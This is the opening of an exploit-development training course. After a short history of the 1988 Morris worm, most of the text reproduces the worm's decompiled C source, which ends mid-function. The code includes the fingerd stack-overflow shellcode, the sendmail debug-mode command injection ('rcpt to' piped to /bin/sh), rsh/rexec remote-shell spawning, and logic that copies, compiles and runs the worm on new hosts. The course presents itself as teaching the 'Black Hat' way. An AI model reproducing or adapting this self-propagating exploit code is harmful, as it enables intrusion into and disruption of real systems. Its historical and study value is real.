Exploit Development I

Your first baby steps
This training will cover the following topics from a technical and practical perspective, and starting from running and exploiting your first targets to gaining persistence and owning a whole network. This course builds deep background knowledge and expert-level skills and the ideal attendants will be penetration testers, security enthusiasts and network administrators.
Concepts and basics
Attacker Decision Making
Getting started with Exploit Pack and Setup
Internals of Exploit Pack
Enumeration of Targets
Exploiting the LAN
Exploiting Windows Hosts
Exploiting Linux Hosts
Exploiting Web Servers
Basic Exploit Writing
Advanced techniques and real-world examples
Post Exploitation
‌
About the instructor:
Juan Sacco is the author and main dev of Exploit Pack, he currently works as an Exploit Writer and Reverse Engineer, along the path he has worked at companies like ING Bank, Core Security, NOD32, Homeland Security (ARG) and other financial and security-related organizations.
Concepts and basics
A “bit” of history about Exploits. Let’s start by saying that memory errors exploitations have been around since the 1980s and they still rank among other software errors as the most dangerous. From an integrity or availability perspective, the impact of a memory error exploit will for sure have a disruptive impact on any organization. ‌ 
During this training we will see the history, the do, don’t and hows of memory errors, exploitation techniques, attacks, defenses and countermeasures. And all this will be covered not from a SysAdmin or Developer point of view but we will learn the practical way of a Black Hat hacker.
Introduction
Memory errors, overflows and exceptions are one of the oldest software vulnerabilities. These kinds of vulnerabilities exist by design, and an attacker could take advantage of an overflow in order to take down or remotely control a machine.
But let’s go back in time, and for this, we need to talk a bit about history, and the origins of these flaws.
Join me on a time-machine ride, let’s set our Flux condenser to take us back...
​
...Precisely to November 2nd, 1988.
​
“If my calculations are correct, when this baby hits 88 miles per hour, you're gonna see some serious events.” - Dr. Emmet brown ( A time traveller )
​
Ok, so here we are in 1988. Robert T. Morris abruptly brought down the Internet. Could you just imagine, having the power of taking down the whole Internet? Yes. Just wow, right?
‌Ok, wait. We know when. 1988, November 2nd. But Why.. and the most important question for us is how?!
Robert Morris Jr. at this time is a graduate student in Computer Science at Cornell University, he just wrote a self-replicating, self-propagating program that created the name of “Cyber Worm”. He just deployed this program from MIT himself, and to avoid tracebacks he executed this piece of software from non-traceable government computers.
But soon enough (or not so soon) he realized that his worm was being replicated too fast, but of course, have in mind the internet speed of that time. The worm made his way by exploiting more than just one vulnerability. 
Basically, the worm exploited: Sendmail, FingerD and rsh/rexec.
‌These exploits were successful and the worm gained remote access and allowed arbitrary code execution, but there was an unintended feature on this worm.
The worm could not check whenever a machine was infected or not, and because of this the same machine could potentially get infected multiple times, and every time it was creating an additional process on that target, that in fact, it will slowly take the machine down by memory consumption.
Eventually, at a certain point, the computer will turn out to be non-responsive and it will be in a Denial Of Service state, making the system connected to it unusable.
The targets and host machines were: BSD Systems and Sun-3 Systems.
The following code is a part of the Morris worm that shows the attacks and the previously mentioned exploits, take a deep look into it, and try to understand the exploits and how they were crafted.
Note: While you are into that, try to think how you would create a feature that could detect whenever a machine was infected or not.
/* dover */
​
#include "worm.h"
#include <stdio.h>
#include <strings.h>
#include <signal.h>
#include <errno.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <sys/file.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <netinet/in.h>
​
extern struct hst *h_addr2host(), *h_name2host();
extern int justreturn();
extern int errno;
extern char *malloc();
​
int alarmed = 0;
int ngateways, *gateways;
struct hst *me, *hosts;
​
int nifs;
struct ifses ifs[30];				/* Arbitrary number, fix */
​
/* Clean hosts not contacted from the host list. */
h_clean()					/* 0x31f0 */
{
struct hst *newhosts, *host, *next;
newhosts = NULL;
for (host = hosts; host != NULL; host = next) {
	next = host->next;
	host->flag &= -7;
	if (host == me || host->flag != 0) {
	 host->next = newhosts;
	 newhosts = host;
	} else
	 free(host);
}
hosts = newhosts;
}
​
/* Look for a gateway we can contact. */
hg()				/* 0x3270, check again */
{
struct hst *host;
int i;
rt_init();
for (i = 0; i < ngateways; i++) {		/* 24, 92 */
	host = h_addr2host(gateways[i], 1);
	if (try_rsh_and_mail(host))
	 return 1;
}
return 0;
}
​
ha()						/* 0x32d4, unchecked */
{
struct hst *host;
int i, j, k;
int l416[100];
int l420;
if (ngateways < 1)
	rt_init();
j = 0;
for (i = 0; i < ngateways; i++) {		/* 40, 172 */
	host = h_addr2host(gateways[i], 1);
	for (k = 0; k < 6; k++) {		/* 86, 164 */
	 if (host->o48[k] == 0)
		continue;			/* 158 */
	 if (try_telnet_p(host->o48[k]) == 0)
		continue;
	 l416[j] = host->o48[k];
	 j++;
	}
}
permute(l416, j, sizeof(l416[0]));
for (i = 0; i < j; i++) {			/* 198, 260 */
	if (hi_84(l416[i] & netmaskfor(l416[i])))
	 return 1;
}
return 0;
}
​
hl()						/* 0x33e6 */
{
int i;
for (i = 0; i < 6; i++) {			/* 18, 106 */
	if (me->o48[i] == 0)
	 break;
	if (hi_84(me->o48[i] & netmaskfor(me->o48[i])) != 0)
	 return 1;
}
return 0;
}
​
hi()						/* 0x3458 */
{
struct hst *host;
for (host = hosts; host; host = host->next )
	if ((host->flag & 0x08 != 0) && (try_rsh_and_mail(host) != 0))
	 return 1;
return 0;
}
​
hi_84(arg1)					/* 0x34ac */
{
int l4;
struct hst *host;
int l12, l16, l20, i, l28, adr_index, l36, l40, l44;
int netaddrs[2048];
l12 = netmaskfor(arg1);
l16 = ~l12;
for (i = 0; i < nifs; i++) {		/* 128,206 */
	if (arg1 == (ifs[i].if_l24 & ifs[i].if_l16))
	 return 0;				/* 624 */
}
adr_index = 0;
if (l16 == 0x0000ffff) {			/* 330 */
	l44 = 4;
	for (l40 = 1; l40 < 255; l40++)		/* 236,306 */
	 for (l20 = 1; l20 <= 8; l20++)	/* 254,300 */
		netaddrs[adr_index++] = arg1 | (l20 << 16) | l40;
	permute(netaddrs, adr_index, sizeof(netaddrs[0]));
} else {					/* 432 */
	l44 = 4;
	for (l20 = 1; l20 < 255; l20++)
	 netaddrs[adr_index++] = (arg1 | l20);
	permute(netaddrs, 3*sizeof(netaddrs[0]), sizeof(netaddrs[0]));
	permute(netaddrs, adr_index - 6, 4);
}
if (adr_index > 20)
	adr_index = 20;
for (l36 = 0; l36 < adr_index; l36++) {	/* 454,620 */
	l4 = netaddrs[l36];
	host = h_addr2host(l4, 0);
	if (host == NULL || (host->flag & 0x02) == 0)
	 continue;
	if (host == NULL || (host->flag & 0x04) == 0 ||
	 command_port_p(l4, l44) == 0)
	 continue;
	if (host == NULL)
	 host = h_addr2host(l4, 1);
	if (try_rsh_and_mail(host))
	 return 1;
}
return 0;
}
​
/* Only called in the function above */
static command_port_p(addr, time)		/* x36d2, <hi+634> */
u_long addr;
int time;
{
int s, connection;					/* 28 */
struct sockaddr_in sin;			/* 16 bytes */
int (*save_sighand)();
s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0)
	return 0;
bzero(&sin, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = addr;
sin.sin_port = IPPORT_CMDSERVER;		/* Oh no, not the command serve
r... */
save_sighand = signal(SIGALRM, justreturn);		/* Wakeup if it
fails */
/* Set up a timeout to break from connect if it fails */
if (time < 1)
	time = 1;
alarm(time);
connection = connect(s, &sin, sizeof(sin));
alarm(0);
close(s);
if (connection < 0 && errno == ENETUNREACH)
	error("Network unreachable");
return connection != -1;
}
​
static try_telnet_p(addr)			/* x37b2 <hi+858>, checked */
u_long addr;
{
int s, connection;					/* 28 */
struct sockaddr_in sin;			/* 16 bytes */
int (*save_sighand)();
s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0)
	return 0;
bzero(&sin, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = addr;
sin.sin_port = IPPORT_TELNET;		/* This time try telnet... */
/* Set up a 5 second timeout, break from connect if it fails */
save_sighand = signal(SIGALRM, justreturn);
alarm(5);
connection = connect(s, &sin, sizeof(sin));
if (connection < 0 && errno == ECONNREFUSED) /* Telnet connection refuse
d */
	connection = 0;
alarm(0);					/* Turn off timeout */
close(s);
return connection != -1;
}
​
/* Used in hg(), hi(), and hi_84(). */
static try_rsh_and_mail(host)				/* x3884, <hi+1068> */
struct hst *host;
{
int fd1, fd2, result;
if (host == me)
	return 0;				/* 1476 */
if (host->flag & 0x02)
	return 0;
if (host->flag & 0x04)
	return 0;
if (host->o48[0] == 0 || host->hostname == NULL)
	getaddrs(host);
if (host->o48[0] == 0) {
	host->flag |= 0x04;
	return 0;
}
other_sleep(1);
if (host->hostname &&		/* 1352 */
	fork_rsh(host->hostname, &fd1, &fd2,
	 XS("exec /bin/sh"))) {		/* <env+188> */
	result = talk_to_sh(host, fd1, fd2);
	close(fd1);
	close(fd2);
	/* Prevent child from hanging around in the <exiting> state */
	wait3((union wait *)NULL, WNOHANG, (struct rusage *)NULL);
	if (result != 0)
	 return result;
}
if (try_finger(host, &fd1, &fd2)) {		/* 1440 */
	result = talk_to_sh(host, fd1, fd2);
	close(fd1);
	close(fd2);
	if (result != 0)
	 return result;
}
if (try_mail(host))
	return 1;
host->flag |= 4;
return 0;
}
​
​
/* Check a2in() as it is updated */
/* Used in twice in try_rsh_and_mail(), once in hu1(). */
static talk_to_sh(host, fdrd, fdwr)		/* x3a20, Checked, changed <hi+
>*/
struct hst *host;
int fdrd, fdwr;
{
object *objectptr;
char send_buf[512];				/* l516 */
char print_buf[52];				/* l568 */
int l572, l576, l580, l584, l588, l592;
objectptr = getobjectbyname(XS("l1.c"));	/* env 200c9 */
if (objectptr == NULL)
	return 0;				/* <hi+2128> */
if (makemagic(host, &l592, &l580, &l584, &l588) == 0)
	return 0;
send_text(fdwr, XS("PATH=/bin:/usr/bin:/usr/ucb\n"));
send_text(fdwr, XS("cd /usr/tmp\n"));
l576 = random() % 0x00FFFFFF;
sprintf(print_buf, XS("x%d.c"), l576);
/* The 'sed' script just puts the EOF on the transmitted program. */
sprintf(send_buf, XS("echo gorch49;sed \'/int zz;/q\' > %s;echo gorch50\n"
),
	 print_buf);
send_text(fdwr, send_buf);
wait_for(fdrd, XS("gorch49"), 10);
xorbuf(objectptr->buf, objectptr->size);
l572 = write(fdwr, objectptr->buf, objectptr->size);
xorbuf(objectptr->buf, objectptr->size);
if (l572 != objectptr->size) {
	close(l588);
	return 0;				/* to <hi+2128> */
}
send_text(fdwr, XS("int zz;\n\n"));
wait_for(fdrd, XS("gorch50"), 30);
#define COMPILE "cc -o x%d x%d.c;./x%d %s %d %d;rm -f x%d x%d.c;echo DONE\n"
sprintf(send_buf, XS(COMPILE), l576, l576, l576,
	 inet_ntoa(a2in(l592)), l580, l584, l576, l576);
send_text(fdwr, send_buf);
if (wait_for(fdrd, XS("DONE"), 100) == 0) {
	close(l588);
	return 0;				/* <hi+2128> */
}
return waithit(host, l592, l580, l584, l588);
}
​
makemagic(arg8, arg12, arg16, arg20, arg24)	/* checked */
struct hst *arg8;
int *arg12, *arg16, *arg20, *arg24;
{
int s, i, namelen;
struct sockaddr_in sin0, sin1;		/* 16 bytes */
*arg20 = random() & 0x00ffffff;
bzero(&sin1, sizeof(sin1));
sin1.sin_addr.s_addr = me->l12;
for (i= 0; i < 6; i++) {			/* 64, 274 */
	if (arg8->o48[i] == NULL)
	 continue;				/* 266 */
	s = socket(AF_INET, SOCK_STREAM, 0);
	if (s < 0)
	 return 0;				/* 470 */
	bzero(&sin0, sizeof(sin0));
	sin0.sin_family = AF_INET;
	sin0.sin_port = IPPORT_TELNET;
	sin0.sin_addr.s_addr = arg8->o48[i];
	errno = 0;
	if (connect(s, &sin0, sizeof(sin0)) != -1) {
	 namelen = sizeof(sin1);
	 getsockname(s, &sin1, &namelen);
	 close(s);
	 break;
	}
	close(s);
}
*arg12 = sin1.sin_addr.s_addr;
for (i = 0; i < 1024; i++) {		/* 286,466 */
	s = socket(AF_INET, SOCK_STREAM, 0);
	if (s < 0)
	 return 0;				/* 470 */
	bzero(&sin0, sizeof(sin0));
	sin0.sin_family = AF_INET;
	sin0.sin_port = random() % 0xffff;
	if (bind(s, &sin0, sizeof(sin0)) != -1) {
	 listen(s, 10);
	 *arg16 = sin0.sin_port;
	 *arg24 = s;
	 return 1;
	}
	close(s);
}
return 0;
}
​
/* Check for somebody connecting. If there is a connection and he has the rig
ht
* key, send out the
* a complete set of encoded objects to it. */
​
waithit(host, arg1, arg2, key, arg4)		/* 0x3e86 */
struct hst *host;
{
int (*save_sighand)();
int l8, sin_size, l16, i, l24, l28;
struct sockaddr_in sin;			/* 44 */
object *obj;
char files[20][128];			/* File list, 2608 */
char *l2612;
char strbuf[512];
save_sighand = signal(SIGPIPE, justreturn);
sin_size = sizeof(sin);
alarm(2*60);
l8 = accept(arg4, &sin, &sin_size);
alarm(0);
if (l8 < 0)
	goto quit;				/* 1144 */
if (xread(l8, &l16, sizeof(l16), 10) != 4)
	goto quit;
l16 = ntohl(l16);
if (key != l16)
	goto quit;
for (i = 0; i < nobjects; i++) {	/* 164,432 */
	obj = &objects[i];
	l16 = htonl(obj->size);
	write(l8, &l16, sizeof(l16));
	sprintf(files[i], XS("x%d,%s"),
		(random()&0x00ffffff), obj->name);
	write(l8, files[i], sizeof(files[0]));
	xorbuf(obj->buf, obj->size);
	l24 = write(l8, obj->buf, obj->size);
	xorbuf(obj->buf, obj->size);
	if (l24 != obj->size)
	 goto quit;
}
/* Get rid of my client's key, and tell him the list has ended. */
l16 = -1;
if (write(l8, &l16, sizeof(l16)) != 4)
	goto quit;
/* Don't run up the load average too much... */
sleep(4);
if (test_connection(l8, l8, 30) == 0)
	goto quit;
send_text(l8, XS("PATH=/bin:/usr/bin:/usr/ucb\n"));
send_text(l8, XS("rm -f sh\n"));
sprintf(strbuf, XS("if [ -f sh ]\nthen\nP=x%d\nelse\nP=sh\nfi\n"),
	 random()&0x00ffffff);
send_text(l8, strbuf);
for (i = 0; i < nobjects; i++) {	/* 636,1040 */
	if ((l2612 = index(files[i], '.')) == NULL ||
	 l2612[1] != 'o')
	 continue;
	sprintf(strbuf, XS("cc -o $P %s\n"), files[i]);
	send_text(l8, strbuf);
	if (test_connection(l8, l8, 30) == 0)
	 goto quit;				/* 1144 */
	sprintf(strbuf, XS("./$P -p $$ "));
	for(l28 = 0; l28 < nobjects; l28++) {	/* 820,892 */
	 strcat(strbuf, files[l28]);
	 strcat(strbuf, XS(" "));
	}
	strcat(strbuf, XS("\n"));
	send_text(l8, strbuf);
	if (test_connection(l8, l8, 10) == 0) {
	 close(l8);
	 close(arg4);
	 host->flag |= 2;
	 return 1;				/* 1172 */
	}
	send_text(l8, XS("rm -f $P\n"));
}
for (i = 0; i < nobjects; i++) {	/* 1044,1122 */
	sprintf(strbuf, XS("rm -f %s $P\n"), files[i]);
	send_text(l8, strbuf);
}
test_connection(l8, l8, 5);
quit:
close(l8);
close(l24);
return 0;
}
​
/* Only called from within mail */
static compile_slave(host, s, arg16, arg20, arg24) /* x431e, <waithit+1176> */
struct hst host;
{
object *obj;
char buf[512];				/* 516 */
char cfile[56];				/* 568 */
int wr_len, key;				/* might be same */
obj = getobjectbyname(XS("l1.c"));
if (obj == NULL)
	return 0;				/* 1590 */
send_text(s, XS("cd /usr/tmp\n"));
key = (random() % 0x00ffffff);
sprintf(cfile, XS("x%d.c"), key);
sprintf(buf, XS("cat > %s <<\'EOF\'\n"), cfile);
send_text(s, buf);
xorbuf(obj->buf, obj->size);
wr_len = write(s, obj->buf, obj->size);
xorbuf(obj->buf, obj->size);
if (wr_len != obj->size)
	return 0;
send_text(s, XS("EOF\n"));
sprintf(buf, XS("cc -o x%d x%d.c;x%d %s %d %d;rm -f x%d x%d.c\n"),
	 key, key, key,
	 inet_ntoa(a2in(arg16, arg20, arg24, key, key)->baz));
return send_text(s, buf);
}
​
static send_text(fd, str)			/* 0x44c0, <waithit+1594> */
char *str;
{
write(fd, str, strlen(str));
}
​
/* Used in try_rsh_and_mail(). */
static fork_rsh(host, fdp1, fdp2, str)		/* 0x44f4, <waithit+1646> */
char *host;
int *fdp1, *fdp2;
char *str;
{
int child;					/* 4 */
int fildes[2];				/* 12 */
int fildes1[2];				/* 20 */
int fd;
if (pipe(fildes) < 0)
	return 0;
if (pipe(fildes1) < 0) {
	close(fildes[0]);
	close(fildes[1]);
	return 0;
}
child = fork();
if (child < 0) {				/* 1798 */
	close(fildes[0]);
	close(fildes[1]);
	close(fildes1[0]);
	close(fildes1[1]);
	return 0;
}
if (child == 0) {				/* 2118 */
	for (fd = 0; fd < 32; fd++)
	 if (fd != fildes[0] &&
		fd != fildes1[1] &&
		fd != 2)
		close(fd);
	dup2(fildes[0], 0);
	dup2(fildes[1], 1);
	if (fildes[0] > 2)
	 close(fildes[0]);
	if (fildes1[1] > 2)
	 close(fildes1[1]);
	/* 'execl()' does not return if it suceeds. */
	execl(XS("/usr/ucb/rsh"), XS("rsh"), host, str, 0);
	execl(XS("/usr/bin/rsh"), XS("rsh"), host, str, 0);
	execl(XS("/bin/rsh"), XS("rsh"), host, str, 0);
	exit(1);
}
close(fildes[0]);
close(fildes1[1]);
*fdp1 = fildes1[0];
*fdp2 = fildes[1];
if (test_connection(*fdp1, *fdp2, 30))
	return 1;				/* Sucess!!! */
close(*fdp1);
close(*fdp2);
kill(child, 9);
/* Give the child a chance to die from the signal. */
sleep(1);
wait3(0, WNOHANG, 0);
return 0;
}
​
static test_connection(rdfd, wrfd, time)			/* x476c,<waith
it+2278> */
int rdfd, wrfd, time;
{
char combuf[100], numbuf[100];
sprintf(numbuf, XS("%d"), random() & 0x00ffffff);
sprintf(combuf, XS("\n/bin/echo %s\n"), numbuf);
send_text(wrfd, combuf);
return wait_for(rdfd, numbuf, time);
}
​
static wait_for(fd, str, time)			/* <waithit+2412> */
int fd, time;
char *str;
{
char buf[512];
int i, length;
length = strlen(str);
while (x488e(fd, buf, sizeof(buf), time) == 0) { /* 2532 */
	for(i = 0; buf[i]; i++) {
	 if (strncmp(str, &buf[i], length) == 0)
		return 1;
	}
}
return 0;
}
​
/* Installed as a signal handler */
justreturn(sig, code, scp)					/* 0x4872 */
int sig, code;
struct sigcontext *scp;
{
alarmed = 1;
}
​
static x488e(fd, buf, num_chars, maxtime)
int fd, num_chars, maxtime;
char *buf;
{	
int i, l8, readfds;
struct timeval timeout;
for (i = 0; i < num_chars; i++) {		/* 46,192 */
	readfds = 1 << fd;
	timeout.tv_usec = maxtime;
	timeout.tv_sec = 0;
	if (select(fd + 1, &readfds, 0, 0, &timeout) <= 0)
	 return 0;
	if (readfds == 0)
	 return 0;
	if (read(fd, &buf[i], 1) != 1)
	 return 0;
	if (buf[i] == '\n')
	 break;
}
buf[i] = '\0';
if (i > 0 && l8 > 0)
	return 1;
return 0;
}
​
/* This doesn't appear to be used anywhere??? */
static char *movstr(arg0, arg1)			/* 0x4958,<just_return+
230> */
char *arg0, *arg1;
{
arg1[0] = '\0';
if (arg0 == 0)
	return 0;
while( ! isspace(*arg0))
	arg0++;
​
if (*arg0 == '\0')
return 0;
while(*arg0) {
	if (isspace(*arg0)) break;
	*arg1++ = *arg0++;
}
*arg1 = '\0';
return arg0;
}
​
/*
From Gene Spafford <[email protected]>
What this routine does is actually kind of clever. Keep in
mind that on a Vax the stack grows downwards.
​
fingerd gets its input via a call to gets, with an argument
of an automatic variable on the stack. Since gets doesn't
have a bound on its input, it is possible to overflow the
buffer without an error message. Normally, when that happens
you trash the return stack frame. However, if you know
where everything is on the stack (as is the case with a
distributed binary like BSD), you can put selected values
back in the return stack frame.
​
This is what that routine does. It overwrites the return frame
to point into the buffer that just got trashed. The new code
does a chmk (change-mode-to-kernel) with the service call for
execl and an argument of "/bin/sh". Thus, fingerd gets a
service request, forks a child process, tries to get a user name
and has its buffer trashed, does a return, exec's a shell,
and then proceeds to take input off the socket -- from the
worm on the other machine. Since many sites never bother to
fix fingerd to run as something other than root.....
​
Luckily, the code doesn't work on Suns -- it just causes it
to dump core.
​
--spaf
​
*/
​
/* This routine exploits a fixed 512 byte input buffer in a VAX running
* the BSD 4.3 fingerd binary. It send 536 bytes (plus a newline) to
* overwrite six extra words in the stack frame, including the return
* PC, to point into the middle of the string sent over. The instructions
* in the string do the direct system call version of execve("/bin/sh"). */
​
static try_finger(host, fd1, fd2)		/* 0x49ec,<just_return+378 */
struct hst *host;
int *fd1, *fd2;
{
int i, j, l12, l16, s;
struct sockaddr_in sin;			/* 36 */
char unused[492];
int l552, l556, l560, l564, l568;
char buf[536];				/* 1084 */
int (*save_sighand)();			/* 1088 */
​
save_sighand = signal(SIGALRM, justreturn);
​
for (i = 0; i < 6; i++) {			/* 416,608 */
	if (host->o48[i] == 0)
	 continue;				/* 600 */
	s = socket(AF_INET, SOCK_STREAM, 0);
	if (s < 0)
	 continue;
	bzero(&sin, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = host->o48[i];
	sin.sin_port = IPPORT_FINGER;
​
	alarm(10);
	if (connect(s, &sin, sizeof(sin)) < 0) {
	 alarm(0);
	 close(s);
	 continue;
	}
	alarm(0);
	break;
}
if (i >= 6)
	return 0;				/* 978 */
for(i = 0; i < 536; i++)			/* 628,654 */
	buf[i] = '\0';
for(i = 0; i < 400; i++)
	buf[i] = 1;
for(j = 0; j < 28; j++)
	buf[i+j] = "\335\217/sh\0\335\217/bin\320^Z\335\0\335\0\335Z\335\003\320^\\\274;\344\371\344\342\241\256\343\350\357\256\362\351"[j];		
	/* constant string x200a0 */
​
/* 0xdd8f2f73,0x6800dd8f,0x2f62696e,0xd05e5add,0x00dd00dd,0x5add03d0,0x5e5cbc3b */
/* "\335\217/sh\0\335\217/bin\320^Z\335\0\335\0\335Z\335\003\320^\\\274;\344\371\344\342\241\256\343\350\357\256\362\351"... */
​
l556 = 0x7fffe9fc;				/* Rewrite part of the stack frame */
l560 = 0x7fffe8a8;
l564 = 0x7fffe8bc;
l568 = 0x28000000;
l552 = 0x0001c020;
​
#ifdef sun
l556 = byte_swap(l556);			/* Reverse the word order for the */
l560 = byte_swap(l560);			/* VAX (only Suns have to do this) */
l564 = byte_swap(l564);
l568 = byte_swap(l568);
l552 = byte_swap(l552);
#endif sun
​
write(s, buf, sizeof(buf));			/* sizeof == 536 */
write(s, XS("\n"), 1);
sleep(5);
if (test_connection(s, s, 10)) {
	*fd1 = s;
	*fd2 = s;
	return 1;
}
close(s);
return 0;
}
​
static byte_swap(arg)			/* 0x4c48,<just_return+982 */
int arg;
{
int i, j;
​
i = 0;
j = 0;
while (j < 4) {
	i = i << 8;
	i |= (arg & 0xff);
	arg = arg >> 8;
	j++;
}
return i;
}
​
permute(ptr, num, size)			/* 0x4c9a */
char *ptr;
int num, size;
{
int i, newloc;
char buf[512];
​
for (i = 0; i < num*size; i+=size) {	/* 18,158 */
	newloc = size * (random() % num);
	bcopy(ptr+i, buf, size);
	bcopy(ptr+newloc, ptr+i, size);
	bcopy(buf, ptr+newloc, size);
}
}
​
​
/* Called from try_rsh_and_mail() */
static try_mail(host)				/* x4d3c <permute+162>*/
struct hst *host;
{
int i, l8, l12, l16, s;
struct sockaddr_in sin;			/* 16 bytes */
char l548[512];
int (*old_handler)();
struct sockaddr saddr;			/* Not right */
int fd_tmp;					/* ??? part of saddr *
/
if (makemagic(host, &saddr) == 0)
	return 0;				/* <permute+1054> */
old_handler = signal(SIGALRM, justreturn);
for( i = 0; i < 6; i++) {			/* to 430 */
	if (host->o48[i] == NULL)
	 continue;				/* to 422 */
	s = socket(AF_INET, SOCK_STREAM, 0);
	if (s < 0)
	 continue;				/* to 422 */
	
	bzero(&sin, sizeof(sin));		/* 16 */
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = host->o48[i];
	sin.sin_port = IPPORT_SMTP;
	
	alarm(10);
	if (connect(s, &sin, sizeof(sin)) < 0) {
	 alarm(0);
	 close(s);
	 continue;				/* to 422 */
	}
	alarm(0);
	break;
}
if (i < 6)
	return 0;				/* 1054 */
if (x50bc( s, l548) != 0 || l548[0] != '2')
	goto bad;
send_text(s, XS("debug"));		/* "debug" */
if (x50bc( s, l548) != 0 || l548[0] != '2')
	goto bad;
#define MAIL_FROM "mail from:</dev/null>\n"
#define MAIL_RCPT "rcpt to:<\"| sed \'1,/^$/d\' | /bin/sh ; exit 0\">\n"
send_text(s, XS(MAIL_FROM));
if (x50bc( s, l548) != 0 || l548[0] != '2')
	goto bad;
i = (random() & 0x00FFFFFF);
sprintf(l548, XS(MAIL_RCPT), i, i);
send_text(s, l548);
if (x50bc( s, l548) != 0 || l548[0] != '2')
	goto bad;
send_text(s, XS("data\n"));
if (x50bc( s, l548) == 0 || l548[0] != '3')
	goto bad;
send_text(s, XS("data\n"));
compile_slave(host, s, saddr);
send_text(s, XS("\n.\n"));
if (x50bc( s, l548) == 0 || l548[0] != '2') {
	close(fd_tmp);				/* This isn't set yet!!! */
	goto bad;
}
send_text(s, XS("quit\n"));
if (x50bc( s, l548) == 0 || l548[0] != '2') {
	close(fd_tmp);				/* This isn't set yet!!! */
	goto bad;
}
close(s);
return waithit(host, saddr);
bad:
send_text(s, XS("quit\n"));
x50bc(s, l548);
close(s);
return 0;
}
​
/* Used only in try_mail() above. This fills buffer with a line of the respon
se */
static x50bc(s, buffer)				/* x50bc, <permute+1058
> */
int s;					/* socket */
char *buffer;
{
/* Fill in exact code later. It's pretty boring. */
}
​
​
/* I call this "huristic 1". It tries to breakin using the remote execution
* service. It is called from a subroutine of cracksome_1 with information fr
om
* a user's .forword file. The two name are the original username and the one
* in the .forward file.
*/
hu1(alt_username, host, username2)		/* x5178 */
char *alt_username, *username2;
struct hst *host;
{
char username[256];
char buffer2[512];
char local[8];
int result, i, fd_for_sh;			/* 780, 784, 788 */
if (host == me)
	return 0;				/* 530 */
if (host->flag & HST_HOSTTWO)			/* Already tried ??? */
	return 0;
if (host->o48[0] || host->hostname == NULL)
	getaddrs(host);
if (host->o48[0] == 0) {
	host->flag |= HST_HOSTFOUR;
	return 0;
}
strncpy(username, username2, sizeof(username)-1);
username[sizeof(username)-1] = '\0';
if (username[0] == '\0')
	strcpy(username, alt_username);
for (i = 0; username[i]; i++)
	if (ispunct(username[i]) || username[i] < ' ')
	 return 0;
other_sleep(1);
fd_for_sh = x538e(host, username, &alt_username[30]);
if (fd_for_sh >= 0) {
	result = talk_to_sh(host, fd_for_sh, fd_for_sh);
	close(fd_for_sh);
	return result;
}
if (fd_for_sh == -2)
	return 0;
fd_for_sh = x538e(me, alt_username, &alt_username[30]);
if (fd_for_sh >= 0) {
	sprintf(buffer2, XS("exec /usr/ucb/rsh %s -l %s \'exec /bin/sh\'\n"),
		host->hostname, username);
	send_text(fd_for_sh, buffer2);
	sleep(10);
	result = 0;
	if (test_connection(fd_for_sh, fd_for_sh, 25))	/* 508 */
	 result = talk_to_sh(host, fd_for_sh, fd_for_sh);
	close(fd_for_sh);
	return result;
}
return 0;
}
​
/* Used in hu1. Returns a file descriptor. */
/* It goes through the six connections in host trying to connect to the
* remote execution server on each one.
*/
static int x538e(host, name1, name2)
struct hst *host;
char *name1, *name2;
{
int s, i;
struct sockaddr_in sin;			/* 16 bytes */
int l6, l7;
char in_buf[512];
for (i = 0; i < 6; i++) {			/* 552,762 */
	if (host->o48[i] == 0)
	 continue;				/* 754 */
	s = socket(AF_INET, SOCK_STREAM, 0);
	if (s < 0)
	 continue;
	
	bzero(&sin, sizeof(sin));		/* 16 */
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = host->o48[i];
	sin.sin_port = IPPORT_EXECSERVER;	/* Oh shit, looking for rexd */
	
	alarm(8);
	signal(SIGALRM, justreturn);
	if (connect(s, &sin, sizeof(sin)) < 0) {
	 alarm(0);
	 close(s);
	 continue;
	}
	alarm(0);
	break;
}
if (i >= 6)
	return -2;				/* 1048 */
/* Check out the connection by writing a null */
if (write(s, XS(""), 1) == 1) {
	/* Tell the remote execution deamon the hostname, username, and to star
tup
	 "/bin/sh". */
	write(s, name1, strlen(name1) + 1);
	write(s, name2, strlen(name2) + 1);
	if ((write(s, XS("/bin/sh"), strlen(XS("/bin/sh"))+1) >= 0) &&
	 xread(s, in_buf, 1, 20) == 1 &&
	 in_buf[0] == '\0' &&
	 test_connection(s, s, 40) != 0)
	 return s;
}
close(s);
return -1;
}
​
/* Reads in a file and puts it in the 'objects' array. Returns 1 if sucessful
,
* 0 if not. */
loadobject(obj_name)				/* x5594 */
char *obj_name;
{
int fd;
unsigned long size;
struct stat statbuf;
char *object_buf, *suffix;
char local[4];
fd = open(obj_name, O_RDONLY);
if (fd < 0)
	return 0;				/* 378 */
if (fstat(fd, &statbuf) < 0) {
	close(fd);
	return 0;
}
size = statbuf.st_size;
object_buf = malloc(size);
if (object_buf == 0) {
	close(fd);
	return 0;
}
if (read(fd, object_buf, size) != size) {
	free(object_buf);
	close(fd);
	return 0;
}
close(fd);
xorbuf(object_buf, size);
suffix = index(obj_name, ',');
if (suffix != NULL)
	suffix+=1;
else
	suffix = obj_name;
objects[nobjects].name = strcpy(malloc(strlen(suffix)+1), suffix);
objects[nobjects].size = size;
objects[nobjects].buf = object_buf;
nobjects += 1;
return 1;
}
​
/* Returns the object from the 'objects' array that has name, otherwise NULL.
*/
object *getobjectbyname(name)
char *name;
{
int i;
for (i = 0; i < nobjects; i++)
	if (strcmp(name, objects[i].name) == 0)
	 return &objects[i];
return NULL;
}
​
/* Encodes and decodes the binary coming over the socket. */
xorbuf(buf, size)				/* 0x577e */
char *buf;
unsigned long size;
{
char *addr_self;			/* The address of the xorbuf fuction */
int i;
addr_self = (char *)xorbuf;
i = 0;
while (size-- > 0) {
	*buf++ ^= addr_self[i];
	i = (i+1) % 10;
}
return;
}
​
​
static other_fd = -1;
​
/* Make a connection to the local machine and see if I'm running in
another process by sending a magic number on a random port and waiting
five minutes for a reply. */
checkother()					/* 0x57d0 */
{
int s, l8, l12, l16, optval;
struct sockaddr_in sin;			/* 16 bytes */
optval = 1;
if ((random() % 7) == 3)
	return;					/* 612 */
